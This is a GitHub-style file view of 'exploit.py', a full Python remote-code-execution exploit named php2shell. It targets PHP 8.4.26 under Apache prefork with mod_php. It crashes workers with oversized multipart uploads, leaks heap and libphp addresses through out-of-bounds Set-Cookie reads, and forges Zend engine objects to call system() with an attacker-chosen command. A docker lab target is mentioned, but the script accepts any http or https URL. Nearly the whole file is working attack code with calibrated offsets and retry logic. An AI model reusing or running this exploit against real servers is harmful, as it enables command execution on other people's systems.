Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
executable file
·721 lines (637 loc) · 25.2 KB
/
Copy pathexploit.py
File metadata and controls
executable file
·721 lines (637 loc) · 25.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
#!/usr/bin/env python3
"""php2shell - HTTP-only exploit for PHP 8.4.26 with Apache prefork + mod_php.
The chain rotates the single prefork worker over HTTP, leaks the Zend MM chunk
base and the libphp base through out-of-bounds Set-Cookie reads, then places a
forged reference over the stale session array and invokes zif_system.
Target settings expected by this exploit (docker/ provides them):
display_errors=On, memory_limit=8M, max_input_vars=1000,
session.use_cookies=On, session.use_strict_mode=Off,
session.upload_progress.enabled=On, one prefork worker.
Usage:
python3 exploit.py -u http://127.0.0.1:8088/index.php
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1
The command is carried by a 167-byte live zend_string, which limits it to 14
bytes. Run longer commands through a tiny trigger such as `sh</out/c` (8 B).
"""
from __future__ import annotations
import argparse
import os
import re
import socket
import ssl
import struct
import subprocess
import sys
import threading
import time
import urllib.parse
from collections import Counter
from dataclasses import dataclass
from typing import Iterable
MAX_COMMAND = 14
SESSION_ID = b"attacksessionid0001"
DEFAULT_COMMAND = "id>/out/p1"
HERE = os.path.dirname(os.path.abspath(__file__))
DEFAULT_PROOF = os.path.join(HERE, "out", "p1")
DEFAULT_OFFSETS = os.path.join(HERE, "out", "offsets.env")
@dataclass(frozen=True)
class Part:
"""One multipart/form-data field."""
name: str
data: bytes
filename: str | None = None
@dataclass(frozen=True)
class Calibration:
heap_fields: int
array_index: int
item_bytes: int
pads: tuple[tuple[int, int], ...]
reference_carrier: bool
htdata_offset: int
zif_offset: int
dtor_offset: int
# Official php:8.4.26-apache image.
#
# heap_fields: filler fields for stage 1
# array_index: stage-2 sub-array that lands on the stale reference
# item_bytes: stage-2 element value length
# pads: stage-3 A-side (name length, value length) pairs
# reference_carrier: rewrite the live reference instead of recreating it from
# a 55-byte multipart buffer
# offsets: values relative to libphp.so / the Zend MM chunk
OFFICIAL_IMAGE = Calibration(
heap_fields=841,
array_index=406,
item_bytes=16,
pads=((31, 31),) * 6,
reference_carrier=True,
htdata_offset=0x690D8,
zif_offset=0x465370,
dtor_offset=0x65EB60,
)
def encode_multipart(parts: Iterable[Part], boundary: bytes) -> bytes:
"""Serialize fields exactly as PHP's multipart parser expects them."""
chunks: list[bytes] = []
for part in parts:
head = (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + part.name.encode() + b'"'
)
if part.filename is not None:
head += (
b'; filename="' + part.filename.encode() + b'"'
b"\r\nContent-Type: application/octet-stream"
)
chunks.append(head + b"\r\n\r\n" + part.data + b"\r\n")
chunks.append(b"--" + boundary + b"--\r\n")
return b"".join(chunks)
def read_offsets(path: str) -> dict[str, int]:
"""Load KEY=0x... lines produced by docker/offsets.py."""
values: dict[str, int] = {}
if not path:
return values
try:
with open(path, "r", encoding="utf-8") as stream:
for raw_line in stream:
line = raw_line.strip()
if not line or line.startswith("#") or "=" not in line:
continue
key, value = line.split("=", 1)
values[key.strip()] = int(value.strip(), 0)
except (OSError, ValueError):
pass
return values
class Endpoint:
"""Minimal HTTP client that keeps reading while a large body is sent."""
def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):
parsed = urllib.parse.urlsplit(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("URL must use http:// or https://")
self.tls = parsed.scheme == "https"
self.host = parsed.hostname or "127.0.0.1"
self.port = parsed.port or (443 if self.tls else 80)
self.path = parsed.path or "/"
self.timeout = timeout
self.verbose = verbose
def note(self, message: str) -> None:
if self.verbose:
print(message, flush=True)
def _socket(self) -> socket.socket:
error: OSError | None = None
for _ in range(10):
try:
sock = socket.create_connection(
(self.host, self.port), timeout=self.timeout
)
if self.tls:
sock = ssl.create_default_context().wrap_socket(
sock, server_hostname=self.host
)
try:
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
except OSError:
pass
return sock
except OSError as exc:
error = exc
time.sleep(0.3)
assert error is not None
raise error
def post(
self,
parts: Iterable[Part],
boundary: bytes,
read_cap: int = 1 << 20,
timeout: float | None = None,
extra_headers: dict[str, str] | None = None,
) -> bytes:
body = encode_multipart(parts, boundary)
extra = "".join(f"{key}: {value}\r\n" for key, value in
(extra_headers or {}).items())
header = (
f"POST {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
sock = self._socket()
sock.settimeout(timeout or self.timeout)
# A worker may abort right after emitting Set-Cookie. Receive from the
# start: waiting until the upload finishes can lose a buffered response
# when the connection is reset.
response = bytearray()
def receive() -> None:
try:
while len(response) < read_cap:
chunk = sock.recv(65536)
if not chunk:
break
response.extend(chunk)
except OSError:
pass
reader = threading.Thread(target=receive, daemon=True)
reader.start()
try:
try:
sock.sendall(header)
view = memoryview(body)
for offset in range(0, len(body), 262144):
sock.sendall(view[offset:offset + 262144])
except OSError:
pass # the child is allowed to die mid-upload
reader.join(timeout=(timeout or self.timeout) + 1.0)
return bytes(response)
finally:
sock.close()
def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:
header = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
sock = self._socket()
sock.settimeout(self.timeout)
response = bytearray()
try:
sock.sendall(header)
try:
while len(response) < read_cap:
chunk = sock.recv(65536)
if not chunk:
break
response.extend(chunk)
except OSError:
pass
finally:
sock.close()
head, _, body = bytes(response).partition(b"\r\n\r\n")
status = re.match(rb"HTTP/1\.[01] (\d{3})", head)
return (int(status.group(1)) if status else 0), body
COOKIE_PATTERN = re.compile(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/")
def session_cookie(response: bytes) -> bytes:
match = COOKIE_PATTERN.search(response)
if not match:
return b""
return urllib.parse.unquote_to_bytes(match.group(1).decode("latin1"))
def heap_chunk_base(cookie: bytes) -> int:
"""Find the 2 MiB-aligned mode of heap pointers in a leaked cookie."""
if len(cookie) < 1000:
return 0
candidates: Counter[int] = Counter()
for index in range(len(cookie) - 8):
pointer = int.from_bytes(cookie[index:index + 8], "little")
if 0x7F0000000000 <= pointer < 0x800000000000:
candidates[pointer & ~0x1FFFFF] += 1
if not candidates:
return 0
base, hits = candidates.most_common(1)[0]
return base if hits >= 8 else 0
def libphp_base(cookie: bytes, dtor_offset: int) -> int:
"""Recover libphp from nNextFreeElement|pDestructor at cookie offset 8."""
if len(cookie) < 16:
return 0
destructor = int.from_bytes(cookie[8:16], "little")
if not (0x7F0000000000 <= destructor < 0x800000000000):
return 0
if destructor & 0xFFF != dtor_offset & 0xFFF:
return 0
base = destructor - dtor_offset
return base if base & 0xFFF == 0 else 0
class Chain:
"""Request layouts and forged objects for the three exploit stages."""
def __init__(
self,
endpoint: Endpoint,
command: str,
calibration: Calibration,
zif_offset: int,
dtor_offset: int,
htdata_offset: int,
huge_mb: int = 12,
):
self.endpoint = endpoint
self.command = command.encode()
self.calibration = calibration
self.zif_offset = zif_offset
self.dtor_offset = dtor_offset
self.htdata_offset = htdata_offset
self.huge_mb = huge_mb
def _file(self) -> Part:
return Part("f", b"A" * 64, "a.txt")
def _oom_field(self) -> Part:
return Part("big", b"B" * (self.huge_mb * 1024 * 1024))
def _session(self, progress: bytes = b"pwn") -> list[Part]:
return [
Part("PHPSESSID", SESSION_ID),
Part("PHP_SESSION_UPLOAD_PROGRESS", progress),
]
def _oom_request(self, fields: list[Part], timeout: float | None = None,
extra_headers: dict[str, str] | None = None) -> bytes:
"""Request A: initialize a session and hit OOM inside PHP's RINIT."""
return self.endpoint.post(
fields,
b"S" * 17,
read_cap=1 << 20,
timeout=timeout,
extra_headers=extra_headers,
)
def rotate(self) -> None:
"""Abort the worker so prefork starts a fresh child."""
self.endpoint.note("[*] rotating worker over HTTP")
first = [
Part(f"f{index:04d}"[:5], b"V" * 3000)
for index in range(1001)
]
first += [
Part("PHPSESSID", b"\x00"),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
self._file(),
self._oom_field(),
]
self._oom_request(first, timeout=max(90.0, self.endpoint.timeout))
time.sleep(0.3)
# Request B initializes the session again; the pre-RINIT cleanup walks
# the damaged heap and the worker aborts.
self.endpoint.post(
self._session(),
b"BNDRY12345",
read_cap=65536,
timeout=20.0,
)
time.sleep(0.5)
def leak_heap(self) -> int:
"""Stage 1: leak a Zend MM chunk address through Set-Cookie."""
first = [Part(f"p{index:04d}", b"x") for index in range(1001)]
first += [
Part("PHPSESSID", b"\x00"),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
self._file(),
self._oom_field(),
]
self._oom_request(first, timeout=max(90.0, self.endpoint.timeout))
time.sleep(0.2)
second = self._session()
for index in range(self.calibration.heap_fields):
value = (f"v{index:04d}" + "x" * 44)[:48]
second.append(Part(str(1000 + index), value.encode()))
forged = bytearray(b"A" * 79)
struct.pack_into("<Q", forged, 0x10, 0x1000) # forged zend_string len
forged[0x18] = ord("L")
second.append(Part("1999", bytes(forged)))
response = self.endpoint.post(
second, b"B" * 10, read_cap=9 << 20
)
return heap_chunk_base(session_cookie(response))
def leak_libphp(self) -> int:
"""Stage 2: point PS(id) at a HashTable page and read pDestructor."""
first = [
Part(f"f{index:04d}"[:5], b"x" * 39)
for index in range(1001)
]
first += [
Part("PHPSESSID", b"\x00"),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
self._file(),
self._oom_field(),
]
self._oom_request(first, timeout=max(90.0, self.endpoint.timeout))
time.sleep(0.2)
second = self._session()
for index in range(983):
count = 16 if index == self.calibration.array_index else 1
for slot in range(count):
second.append(
Part(
f"a{index:04d}[{slot}]",
b"x" * self.calibration.item_bytes,
)
)
response = self.endpoint.post(second, b"B" * 10, read_cap=1 << 20)
return libphp_base(session_cookie(response), self.dtor_offset)
def _forged_objects(self, htdata: int, zif: int) -> tuple[bytes, bytes]:
command = self.command
if len(command) > MAX_COMMAND:
raise ValueError(
f"command is {len(command)} bytes; the carrier allows at most "
f"{MAX_COMMAND} (for example 'sh</out/c')"
)
table = bytearray(167)
# zend_array / HashTable
struct.pack_into("<II", table, 0x00, 1, 7) # gc, IS_ARRAY
struct.pack_into("<II", table, 0x08, 0x10, 0xFFFFFFF8) # flags, mask
struct.pack_into("<Q", table, 0x10, htdata + 0x20) # arData
struct.pack_into("<II", table, 0x18, 1, 1) # used, count
struct.pack_into("<II", table, 0x20, 8, 0) # size, pointer
struct.pack_into("<Q", table, 0x28, 0) # next free
struct.pack_into("<Q", table, 0x30, zif) # pDestructor
# execute_data lives at arData, i.e. data+0x20.
exec_off = 0x20
struct.pack_into("<Q", table, exec_off + 0x00, 0) # opline
struct.pack_into("<Q", table, exec_off + 0x08, 0) # call
struct.pack_into("<Q", table, exec_off + 0x10, zif) # return_value
struct.pack_into("<Q", table, exec_off + 0x18, 0) # func
struct.pack_into("<Q", table, exec_off + 0x20, 0) # This.value
struct.pack_into("<I", table, exec_off + 0x28, 0) # This.type
struct.pack_into("<I", table, exec_off + 0x2C, 1) # num_args
struct.pack_into("<Q", table, exec_off + 0x30, 0) # prev frame
struct.pack_into("<Q", table, exec_off + 0x38, 0) # symbol table
struct.pack_into("<I", table, exec_off + 0x40, 0) # call_info
struct.pack_into("<Q", table, exec_off + 0x50, htdata + 0x80)
struct.pack_into("<I", table, exec_off + 0x58, 6) # IS_STRING
# zend_string for the command at data+0x80.
struct.pack_into("<II", table, 0x80, 1, 0x106) # gc, IS_STRING
struct.pack_into("<Q", table, 0x88, 0) # hash
struct.pack_into("<Q", table, 0x90, len(command)) # length
table[0x98:0x98 + len(command)] = command
table[0x98 + len(command)] = 0
# 55-byte zend_reference placed at R0-0x10.
reference = bytearray(b"X" * 55)
struct.pack_into("<II", reference, 0x10, 1, 10) # IS_REFERENCE
struct.pack_into("<Q", reference, 0x18, htdata) # val.value
struct.pack_into("<Q", reference, 0x20, 0x307) # IS_ARRAY_EX
struct.pack_into("<Q", reference, 0x28, 0) # sources
return bytes(table), bytes(reference)
def detonate(self, htdata: int, zif: int) -> None:
"""Stage 3: overwrite PS(http_session_vars) and call zif_system."""
first = [
Part("PHPSESSID", b"a" * 19),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"p" * 3),
]
for index, (name_len, value_len) in enumerate(self.calibration.pads):
name = f"p{index:0{name_len - 1}d}"[:name_len]
first.append(Part(name, b"V" * value_len))
first += [self._file(), self._oom_field()]
extra_headers = None
if self.calibration.reference_carrier:
# Keep PS(id) valid so session initialization leaves send_cookie=0;
# B then does not write the Set-Cookie header over R0+16.
extra_headers = {"Cookie": "PHPSESSID=" + "a" * 32}
self._oom_request(
first,
timeout=max(90.0, self.endpoint.timeout),
extra_headers=extra_headers,
)
time.sleep(0.3)
table, reference = self._forged_objects(htdata, zif)
second = self._session()
if self.calibration.reference_carrier:
# The live reference has rc=2. A 15-byte bin-40 zend_string lands
# its characters on PS(http_session_vars): keep gc, replace the low
# seven bytes of val.value, and leave the canonical high byte zero.
carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
for index in range(2):
second.append(Part(f"f{index:02d}", b"F" * 15))
second.append(Part("g00", carrier))
for index in range(15):
second.append(Part(f"a{index:030d}"[:31], table))
else:
for index in range(15):
second.append(Part(f"a{index:030d}"[:31], table))
for index in range(2):
second.append(Part(f"f{index:02d}", reference))
self.endpoint.post(
second,
b"B" * 10,
read_cap=65536,
timeout=30.0,
)
def build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
description="php2shell one-click exploit (official php:8.4.26-apache)",
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
)
parser.add_argument(
"-u", "--url", required=True,
help="target PHP page, e.g. http://127.0.0.1:8088/index.php",
)
parser.add_argument(
"-c", "--cmd", default=DEFAULT_COMMAND,
help=f"command to execute (max {MAX_COMMAND} bytes)",
)
parser.add_argument(
"--proof-file", default=DEFAULT_PROOF,
help="read this local file after exploitation; '' disables",
)
parser.add_argument(
"--fetch", default="",
help="GET this path afterwards (for commands writing to webroot)",
)
parser.add_argument(
"--zif-offset", type=lambda value: int(value, 0), default=None,
help="offset of zif_system in libphp.so "
"(default: offsets file or built-in official-image value)",
)
parser.add_argument(
"--dtor-offset", type=lambda value: int(value, 0), default=None,
help="offset of ZVAL_PTR_DTOR in libphp.so "
"(default: offsets file or built-in official-image value)",
)
parser.add_argument(
"--htdata-offset", type=lambda value: int(value, 0), default=None,
help="chunk-relative offset of the 167-byte live string",
)
parser.add_argument(
"--offsets-file", default=DEFAULT_OFFSETS,
help="read libphp offsets from this file ('' to disable)",
)
parser.add_argument(
"--docker-container", default="php2shell-target",
help="container used to auto-derive offsets on localhost",
)
parser.add_argument(
"--no-auto-offsets", action="store_true",
help="never run docker/offsets.py automatically",
)
parser.add_argument(
"--huge-mb", type=int, default=12,
help="size of the OOM field; must exceed memory_limit",
)
parser.add_argument(
"--timeout", type=float, default=30.0, help="per-request timeout",
)
parser.add_argument(
"--no-pre-rotate", action="store_true",
help="skip the initial worker rotation",
)
parser.add_argument(
"--no-retry-rotate", action="store_true",
help="do not rotate between failed stage attempts",
)
parser.add_argument(
"--retries", type=int, default=3,
help="attempts per leak stage; stage 3 uses retries+2",
)
parser.add_argument("-q", "--quiet", action="store_true")
return parser
def discover_offsets(args: argparse.Namespace, endpoint: Endpoint) -> dict[str, int]:
"""Use the running local container to derive offsets when necessary."""
offsets = read_offsets(args.offsets_file)
local_target = endpoint.host in ("127.0.0.1", "localhost", "::1")
if (offsets or args.no_auto_offsets or not args.offsets_file
or not local_target):
return offsets
helper = os.path.join(HERE, "docker", "offsets.py")
if not os.path.exists(helper):
return offsets
if not args.quiet:
print("[*] no offsets file; reading libphp symbols from "
f"container {args.docker_container}", flush=True)
try:
subprocess.run(
[sys.executable, helper, args.docker_container, args.offsets_file],
check=False,
timeout=60,
stdout=None if not args.quiet else subprocess.DEVNULL,
stderr=None if not args.quiet else subprocess.DEVNULL,
)
except (OSError, subprocess.SubprocessError):
pass
return read_offsets(args.offsets_file)
def main() -> int:
parser = build_parser()
args = parser.parse_args()
if len(args.cmd.encode()) > MAX_COMMAND:
parser.error(f"--cmd is limited to {MAX_COMMAND} bytes by the 167-byte carrier")
calibration = OFFICIAL_IMAGE
if args.htdata_offset is None:
args.htdata_offset = calibration.htdata_offset
endpoint = Endpoint(args.url, timeout=args.timeout, verbose=not args.quiet)
offsets = discover_offsets(args, endpoint)
if args.zif_offset is None:
args.zif_offset = offsets.get("ZIF_OFFSET", calibration.zif_offset)
if args.dtor_offset is None:
args.dtor_offset = offsets.get("DTOR_OFFSET", calibration.dtor_offset)
chain = Chain(
endpoint=endpoint,
command=args.cmd,
calibration=calibration,
zif_offset=args.zif_offset,
dtor_offset=args.dtor_offset,
htdata_offset=args.htdata_offset,
huge_mb=args.huge_mb,
)
endpoint.note(f"[*] target {args.url} (cmd={args.cmd!r})")
if offsets:
endpoint.note(f"[*] offsets loaded from {args.offsets_file}")
endpoint.note(
f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "
f"htdata=0x{args.htdata_offset:x}"
)
def retry_rotate() -> None:
if not args.no_retry_rotate:
chain.rotate()
if not args.no_pre_rotate:
chain.rotate()
chunk_base = 0
for attempt in range(1, args.retries + 1):
endpoint.note(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")
chunk_base = chain.leak_heap()
if chunk_base:
endpoint.note(f"[+] chunk base = 0x{chunk_base:x}")
break
endpoint.note("[-] heap leak missed")
retry_rotate()
if not chunk_base:
print("HEAP_LEAK_FAILED", file=sys.stderr)
return 1
chain.rotate()
module_base = 0
for attempt in range(1, args.retries + 1):
endpoint.note(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")
module_base = chain.leak_libphp()
if module_base:
endpoint.note(f"[+] libphp base = 0x{module_base:x}")
break
endpoint.note("[-] libphp leak missed")
retry_rotate()
if not module_base:
print("LIBPHP_LEAK_FAILED", file=sys.stderr)
return 1
chain.rotate()
htdata = chunk_base + args.htdata_offset
zif = module_base + args.zif_offset
endpoint.note(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}")
if args.proof_file:
try:
if os.path.exists(args.proof_file):
os.unlink(args.proof_file)
except OSError:
pass
proof = ""
for attempt in range(1, args.retries + 3):
try:
chain.detonate(htdata, zif)
except OSError as exc:
endpoint.note(f"[-] request error: {exc}")
time.sleep(0.8)
if args.proof_file:
try:
if os.path.exists(args.proof_file):
with open(args.proof_file, "rb") as stream:
proof = stream.read().decode("latin1").strip()
except OSError:
pass
if not proof and args.fetch:
status, body = endpoint.get(args.fetch)
if status == 200:
proof = body.decode("latin1").strip()
if proof:
endpoint.note(f"[+] W3 attempt {attempt}")
print(f"PROOF: {proof}")
return 0
endpoint.note(f"[-] stage 3 attempt {attempt} no proof yet")
retry_rotate()
print(
"EXPLOIT_FAILED (no proof; the command may still have executed blind)",
file=sys.stderr,
)
return 1
if __name__ == "__main__":
try:
sys.exit(main())
except KeyboardInterrupt:
sys.exit(130)